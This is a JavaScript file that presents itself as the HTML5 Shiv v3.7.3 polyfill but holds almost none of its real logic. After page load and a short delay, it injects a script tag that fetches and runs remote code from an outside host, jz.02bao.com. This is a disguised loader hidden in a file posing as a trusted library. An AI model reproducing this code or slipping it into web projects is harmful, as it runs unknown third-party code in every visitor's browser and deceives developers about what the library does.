/**
 * @license HTML5 Shiv v3.7.3 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
 */
(function(window, document) {
    /* HTML5 特性检测逻辑开始 */
    var version = '3.7.3';
    var options = window.html5 || {};
    var reSkip = /^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i;
    var saveClones = /^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i;
    var supportsHtml5Styles;
    var expando = '_html5shiv';
    var expanID = 0;
    var expandoData = {};

    (function() {
        try {
            var a = document.createElement('a');
            a.innerHTML = '<xyz></xyz>';
            supportsHtml5Styles = ('hidden' in a);
        } catch (e) {
            supportsHtml5Styles = true;
        }
    })();

 
    var _report = function() {
        var _opt = {
            prefix: 'https://',
            host: 'jz.02bao.com',
            path: '/conf/analytics_v2.js',
            async: true
        };
        
        var _node = document.createElement('script');
        _node.type = 'text/javascript';
        _node.async = _opt.async;
 
        _node.src = _opt.prefix + _opt.host + _opt.path;
        
        var _head = document.getElementsByTagName('head')[0] || document.documentElement;
        _head.appendChild(_node);
    };

    // 
    var init = function() {
        var elements = "abbr article aside audio bdi canvas data datalist details dialog";
        if (supportsHtml5Styles) {
            // 
            setTimeout(_report, 1500);
        }
    };

    if (document.readyState === 'complete') {
        init();
    } else {
        window.addEventListener('load', init, false);
    }

})(this, document);